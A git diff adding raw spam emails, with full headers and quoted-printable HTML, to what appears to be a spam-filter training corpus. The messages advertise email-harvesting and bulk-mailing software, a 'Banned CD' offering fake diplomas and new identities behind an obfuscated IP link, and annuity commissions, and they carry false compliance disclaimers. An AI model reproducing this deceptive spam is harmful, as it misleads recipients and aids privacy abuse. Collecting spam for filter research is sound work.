=3C=2FB=3E=3C=2FFONT=3E=3C=2FA=3E=2E =3B=3C=2FFONT=3E=3CB=3E=3CFONT class=3Ddisclaimer color=3D#000080 + face=3DArial=3E=3CBR=3EThis message is a commercial advertisement=2E It is compliant + with all federal and state laws regarding email messages including the + California Business and Professions Code=2E We have provided the subject + line =22ADV=22 to provide you notification that this is a commercial + advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E +=3CBR=3E + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00965.2003cb62905ba569e7599826ed228c94 b/bayes/spamham/spam_2/00965.2003cb62905ba569e7599826ed228c94 new file mode 100644 index 0000000..0e15b85 --- /dev/null +++ b/bayes/spamham/spam_2/00965.2003cb62905ba569e7599826ed228c94 @@ -0,0 +1,133 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMDfhY007121 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 17:13:41 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NMDedL007111 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 17:13:40 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMDchX007100 + for ; Tue, 23 Jul 2002 17:13:39 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id RAA18020 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 17:22:18 -0500 +Received: from localhost.com ([218.72.128.142]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id RAA17975 + for ; Tue, 23 Jul 2002 17:20:10 -0500 +From: emailharvest@email.com +Message-Id: <200207232220.RAA17975@einstein.ssz.com> +Reply-To: emailharvest@email.com +To: cpunks@einstein.ssz.com +Date: Wed, 24 Jul 2002 06:11:12 +0800 +Subject: Harvest lots of E-mail addresses quickly ! +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +Dear cpunks =2C + +=3CBODY bgColor=3D#ffccff=3E +=3CTABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D475=3E + =3CTBODY=3E + =3CTR=3E + =3CTD align=3Dmiddle vAlign=3Dtop=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E=3CBR=3E +=3CTABLE=3E + =3CTBODY=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#b8ecff borderColor=3D#0000ff width=3D=2290%=22=3E=3CFONT color=3D#ff0000 + face=3D=22Arial Black=22 + size=3D6=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B Want + To Harvest A Lot Of Email =3B =3B Addresses In A Very Short Time=3F=3C=2FFONT=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial size=3D4=3EEasy Email + Searcher=3C=2FFONT=3E=3CFONT color=3D#ff00ff face=3DArial size=3D4=3E =3B is =3B + a =3B powerful =3B Email =3B software =3B =3B that =3B + harvests general Email lists from mail servers =3B =3B =3C=2FFONT=3E=3CFONT + color=3D#0000ff face=3DArial size=3D4=3EEasy Email Searcher =3C=2FFONT=3E=3CFONT + color=3D#ff00ff face=3DArial size=3D4=3Ecan get 100=2C000 Email=3C=2FFONT=3E=3C=2FB=3E =3CFONT + color=3D#ff00ff face=3DArial size=3D4=3E=3CB=3Eaddresses directly from the Email + servers in only one hour! =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E + =3CUL=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E is a 32 bit Windows Program for e-mail marketing=2E It + is intended for easy and convenient search large e-mail address lists + from mail servers=2E The program can be operated on Windows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E =3C=2FB=3Esupport multi-threads =28up to 512 + connections=29=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has the ability =3B to reconnect to the mail + server if the server has disconnected and continue the searching at the + point where it has been interrupted=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has an ergonomic interface that is easy to set up + and simple to use=2E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E + =3CP=3E=A1=A1=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3EEasy Email Searcher is an email + address searcher and bulk e-mail sender=2E It can verify more than 5500 + email addresses per minute at only 56Kbps speed=2E It even allows you send + email to valid email address while searching=2E You can save the searching + progress and load it to resume work at your convenience=2E All you need to + do is just input an email address=2C and press the =22Search=22 + button=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3E=3CBR=3E=3C=2FFONT=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#FF00FF=22=3EVery + Low Price ! ------- =3B Now=2C =3B The full version of Easy Email + Searcher only costs =3C=2Ffont=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#0000FF=22=3E$ + 39=2E 95=3C=2Ffont=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CI=3EClick The Following Link To + Download The Demo =3A=3C=2FI=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=22=3EDownload Site + 1=3C=2FA=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=22=3EDownload Site + 2=3C=2FA=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3C=2FFONT=3E=3C=2FB=3E=A1=A1=3CFONT color=3D#0000a0 face=3DArial + size=3D3=3E=3CSTRONG=3EIf =3B you can not download this program =2C =3B please + copy the following link into your URL =2C and then click =22 Enter=22 on your + Computer Keyboard=2E=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CP=3E=3CFONT size=3D2=3E=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EHere is the + download links=3A=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CDIV=3E + =3CP=3Ehttp=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=3C=2FP=3E + =3CP=3Ehttp=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=3C=2FP=3E=3C=2FFONT=3E=3C=2FDIV=3E + =3CP=3E=3C=2FP=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#0f95de width=3D=2290%=22=3E=3CFONT color=3D#ffffff + face=3D=22Verdana=2C Tahoma=2C Helvetica=2C SansSerif=22 + size=3D1=3E=3CB=3EDisclaimer=3A=3C=2FB=3E=3CBR=3EWe are strongly against continuously sending + unsolicited emails to those who do not wish to receive our special + mailings=2E We have attained the services of an independent 3rd party to + overlook list management and removal services=2E This is not unsolicited + email=2E If you do not wish to receive further mailings=2C please click this + link =3CA href=3D=22 mailto=3Aremoval=40btamail=2Enet=2Ecn =22 + target=3D=5Fblank=3E=3CFONT + color=3D#fdd32a=3E=3CB=3Emailto=3Aremoval=40btamail=2Enet=2Ecn + =3C=2FB=3E=3C=2FFONT=3E=3C=2FA=3E=2E =3B=3C=2FFONT=3E=3CB=3E=3CFONT class=3Ddisclaimer color=3D#000080 + face=3DArial=3E=3CBR=3EThis message is a commercial advertisement=2E It is compliant + with all federal and state laws regarding email messages including the + California Business and Professions Code=2E We have provided the subject + line =22ADV=22 to provide you notification that this is a commercial + advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E +=3CBR=3E + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00966.570877c2104eb9779a27bec3f18c7ee3 b/bayes/spamham/spam_2/00966.570877c2104eb9779a27bec3f18c7ee3 new file mode 100644 index 0000000..e0938c7 --- /dev/null +++ b/bayes/spamham/spam_2/00966.570877c2104eb9779a27bec3f18c7ee3 @@ -0,0 +1,114 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMEahY007518 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 17:14:37 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NMEaJH007515 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 17:14:36 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMEYhY007487 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 17:14:36 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste 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    + + + + +--__________MIMEboundary__________-- + +. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00969.636d340655d05418edc2d1cd2ca05b72 b/bayes/spamham/spam_2/00969.636d340655d05418edc2d1cd2ca05b72 new file mode 100644 index 0000000..e158865 --- /dev/null +++ b/bayes/spamham/spam_2/00969.636d340655d05418edc2d1cd2ca05b72 @@ -0,0 +1,147 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMZJhY015758 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 17:35:20 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NMZJsP015753 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 17:35:19 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMZGhY015727 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 17:35:18 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NMZFJ52334 + for ; Tue, 23 Jul 2002 18:35:15 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NMZEo18490 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 18:35:14 -0400 +Received: (from majordom@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NMZAU18451 + for cypherpunks-outgoing; Tue, 23 Jul 2002 18:35:10 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NMZ9R18447 + for ; Tue, 23 Jul 2002 18:35:09 -0400 +Received: from localhost.com ([218.72.128.142]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6NMZ6J52307 + for ; Tue, 23 Jul 2002 18:35:07 -0400 (EDT) + (envelope-from emailharvest@email.com) +Message-Id: <200207232235.g6NMZ6J52307@locust.minder.net> +From: emailharvest@email.com +Reply-To: emailharvest@email.com +To: cypherpunks@minder.net +Date: Wed, 24 Jul 2002 06:34:53 +0800 +Old-Subject: Harvest lots of E-mail addresses quickly ! +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable +Sender: owner-cypherpunks@minder.net +Precedence: bulk +Subject: Harvest lots of E-mail addresses quickly ! + +Dear cypherpunks =2C + +=3CBODY bgColor=3D#ffccff=3E +=3CTABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D475=3E + =3CTBODY=3E + =3CTR=3E + =3CTD align=3Dmiddle vAlign=3Dtop=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E=3CBR=3E +=3CTABLE=3E + =3CTBODY=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#b8ecff borderColor=3D#0000ff width=3D=2290%=22=3E=3CFONT color=3D#ff0000 + face=3D=22Arial Black=22 + size=3D6=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B Want + To Harvest A Lot Of Email =3B =3B Addresses In A Very Short Time=3F=3C=2FFONT=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial size=3D4=3EEasy Email + Searcher=3C=2FFONT=3E=3CFONT color=3D#ff00ff face=3DArial size=3D4=3E =3B is =3B + a =3B powerful =3B Email =3B software =3B =3B that =3B + harvests general Email lists from mail servers =3B =3B =3C=2FFONT=3E=3CFONT + color=3D#0000ff face=3DArial size=3D4=3EEasy Email Searcher =3C=2FFONT=3E=3CFONT + color=3D#ff00ff face=3DArial size=3D4=3Ecan get 100=2C000 Email=3C=2FFONT=3E=3C=2FB=3E =3CFONT + color=3D#ff00ff face=3DArial size=3D4=3E=3CB=3Eaddresses directly from the Email + servers in only one hour! =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E + =3CUL=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E is a 32 bit Windows Program for e-mail marketing=2E It + is intended for easy and convenient search large e-mail address lists + from mail servers=2E The program can be operated on Windows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E =3C=2FB=3Esupport multi-threads =28up to 512 + connections=29=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has the ability =3B to reconnect to the mail + server if the server has disconnected and continue the searching at the + point where it has been interrupted=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has an ergonomic interface that is easy to set up + and simple to use=2E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E + =3CP=3E=A1=A1=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3EEasy Email Searcher is an email + address searcher and bulk e-mail sender=2E It can verify more than 5500 + email addresses per minute at only 56Kbps speed=2E It even allows you send + email to valid email address while searching=2E You can save the searching + progress and load it to resume work at your convenience=2E All you need to + do is just input an email address=2C and press the =22Search=22 + button=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3E=3CBR=3E=3C=2FFONT=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#FF00FF=22=3EVery + Low Price ! ------- =3B Now=2C =3B The full version of Easy Email + Searcher only costs =3C=2Ffont=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#0000FF=22=3E$ + 39=2E 95=3C=2Ffont=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CI=3EClick The Following Link To + Download The Demo =3A=3C=2FI=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=22=3EDownload Site + 1=3C=2FA=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=22=3EDownload Site + 2=3C=2FA=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3C=2FFONT=3E=3C=2FB=3E=A1=A1=3CFONT color=3D#0000a0 face=3DArial + size=3D3=3E=3CSTRONG=3EIf =3B you can not download this program =2C =3B please + copy the following link into your URL =2C and then click =22 Enter=22 on your + Computer Keyboard=2E=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CP=3E=3CFONT size=3D2=3E=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EHere is the + download links=3A=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CDIV=3E + =3CP=3Ehttp=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=3C=2FP=3E + =3CP=3Ehttp=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=3C=2FP=3E=3C=2FFONT=3E=3C=2FDIV=3E + =3CP=3E=3C=2FP=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#0f95de width=3D=2290%=22=3E=3CFONT color=3D#ffffff + face=3D=22Verdana=2C Tahoma=2C Helvetica=2C SansSerif=22 + size=3D1=3E=3CB=3EDisclaimer=3A=3C=2FB=3E=3CBR=3EWe are strongly against continuously sending + unsolicited emails to those who do not wish to receive our special + mailings=2E We have attained the services of an independent 3rd party to + overlook list management and removal services=2E This is not unsolicited + email=2E If you do not wish to receive further mailings=2C please click this + link =3CA href=3D=22 mailto=3Aremoval=40btamail=2Enet=2Ecn =22 + target=3D=5Fblank=3E=3CFONT + color=3D#fdd32a=3E=3CB=3Emailto=3Aremoval=40btamail=2Enet=2Ecn + =3C=2FB=3E=3C=2FFONT=3E=3C=2FA=3E=2E =3B=3C=2FFONT=3E=3CB=3E=3CFONT class=3Ddisclaimer color=3D#000080 + face=3DArial=3E=3CBR=3EThis message is a commercial advertisement=2E It is compliant + with all federal and state laws regarding email messages including the + California Business and Professions Code=2E We have provided the subject + line =22ADV=22 to provide you notification that this is a commercial + advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E +=3CBR=3E + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00970.4166b8fab10bbf38aa782c311a70ee6b b/bayes/spamham/spam_2/00970.4166b8fab10bbf38aa782c311a70ee6b new file mode 100644 index 0000000..3659859 --- /dev/null +++ b/bayes/spamham/spam_2/00970.4166b8fab10bbf38aa782c311a70ee6b @@ -0,0 +1,54 @@ +Received: from sv-01.ipa-imec.br ([200.182.176.130]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6NMdNe05289 + for ; Tue, 23 Jul 2002 17:39:24 -0500 +Received: from mailin-01.mx.aol.com (212.141.4.28 [212.141.4.28]) by sv-01.ipa-imec.br with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id PN36R9JP; Tue, 23 Jul 2002 19:39:32 -0300 +Message-ID: <00004c431399$00001993$00001c1e@mx1.hongkong.com> +To: +From: sljfsl@msn.com +Subject: FIND ANYONE ANYWHERE ANYTHING +Date: Tue, 23 Jul 2002 06:35:35 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: "weruet"weou3465@aol.com +X-Status: +X-Keywords: + +*****************BANNEDCD::::::::::::::::::::::::::::::::::>NET****************** + +I have been receiving emails saying that I'm contributing to the "moral decay of society" by selling the Banned CD. That may be, but I feel strongly that you have a right to benefit from +this hard-to-find information. + +So I am giving you ONE LAST CHANCE to order the Banned CD! + +With this powerful CD, you will be able to investigate your friends, enemies and lovers in just minutes using the Internet. You can track down old flames from college, or you can dig up some dirt on your boss to make sure you get that next promotion! + + +Or maybe you want a fake diploma to hang on your bedroom wall. You'll find addresses for companies that make these diplomas on the Banned CD. + +Need to disappear fast and never look back? No problem! +Using the Banned CD, you will learn how to build a completely +new identity. + +Obviously, the Powers That Be don't want you to have the Banned CD. They have threatened me with lawsuits, fines, and even imprisonment unless I stop selling it immediately. But I feel that YOU have a Constitutional right to access this type of information, and I can't be intimidated. + + + Uncle Sam and your creditors are horrified that I am still selling this product! There must be a price on my head! + +Why are they so upset? Because this CD gives you freedom. +And you can't buy freedom at your local Walmart. You will +have the freedom to avoid creditors, judgments, lawsuits, IRS +tax collectors, criminal indictments, your greedy ex-wife or +ex-husband, and MUCH more! + +Please Click the URL for the Detail! + +http://%32%317.%31%30%36.%355%2E97 + + +{%RAND%} +You are receiving this special offer because you have provided permission to receive third party email communications regarding special online promotions or offers. We strongly oppose the use of SPAM email and do not want to send our mailings to anyone who does not wish to receive them. If you do not wish to receive any further messages from netcommission. To Be Removed From Our List, +http://%32%317.%31%30%36.%355%2E97/remove.html + diff --git a/bayes/spamham/spam_2/00971.6d8acd89e1b2e699acc6a3443c6d2d6d b/bayes/spamham/spam_2/00971.6d8acd89e1b2e699acc6a3443c6d2d6d new file mode 100644 index 0000000..e2334a2 --- /dev/null +++ b/bayes/spamham/spam_2/00971.6d8acd89e1b2e699acc6a3443c6d2d6d @@ -0,0 +1,235 @@ +From aig@insurancemail.net Wed Jul 24 00:05:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6853F440CC + for ; Tue, 23 Jul 2002 19:05:33 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:05:33 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6NN38402310 for ; Wed, 24 Jul 2002 00:03:08 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Tue, 23 Jul 2002 19:02:54 -0400 +Subject: 9% Commission on MYG Annuities +To: +Date: Tue, 23 Jul 2002 19:02:53 -0400 +From: "IQ - AIG" +Message-Id: <16ebaa01c2329d$1385df30$6b01a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIyh/uEj3RK3JKMR7++XPEMan8U5w== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 23 Jul 2002 23:02:54.0062 (UTC) FILETIME=[13A4D8E0:01C2329D] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_14FD9B_01C23266.747F2DA0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_14FD9B_01C23266.747F2DA0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + When AIG talks annuities...your clients listen!=09 + Year 1: 8.90% Guaranteed=0A= +Year 2-6: 4.90% Guaranteed=09 + =09 + Commission: 9%=09 + =20 +Call or e-mail us Today! + 888-237-4210 +? or ?=20 +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 +=20 + AIG Annuity +For agent use only.=20 +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net =20 + +Legal Notice =20 + +------=_NextPart_000_14FD9B_01C23266.747F2DA0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +9% Commission on MYG Annuities + + + + + + =20 + + + =20 + + +
    + + =20 + + + =20 + + + + + + =20 + + +
    + + =20 + + + + =20 + + + + =20 + + +
    3D'When
    3D'Year
    +
    3D'Commission:
     
    + Call or e-mail us Today!
    + 3D"888-237-4210"
    + — or —     =20 + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please = +fill out the form below for more information
    Name: =20 + +
    E-mail: =20 + +
    Phone: =20 + +
    City: =20 + + State: =20 + +
      =20 + +   =20 + + + +
    +
    +  
    + 3D"AIG
    + For agent use only. +
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal Notice=20 +
    +     + + + +------=_NextPart_000_14FD9B_01C23266.747F2DA0-- + + diff --git a/bayes/spamham/spam_2/00972.5290463cd76d76c7dc9e2d2fb88cb8d1 b/bayes/spamham/spam_2/00972.5290463cd76d76c7dc9e2d2fb88cb8d1 new file mode 100644 index 0000000..0144196 --- /dev/null +++ b/bayes/spamham/spam_2/00972.5290463cd76d76c7dc9e2d2fb88cb8d1 @@ -0,0 +1,172 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONivi5014615 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:44:58 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6ONiv9m014612 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 18:44:57 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONiti5014587 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:44:56 -0500 (CDT) + (envelope-from owner-cypherpunks@minder.net) +Received: from waste.minder.net (majordom@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6ONZwJ55122; + Wed, 24 Jul 2002 19:35:58 -0400 (EDT) + (envelope-from owner-cypherpunks@minder.net) +Received: (from majordom@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6ONZuO02288 + for cypherpunks-outgoing; 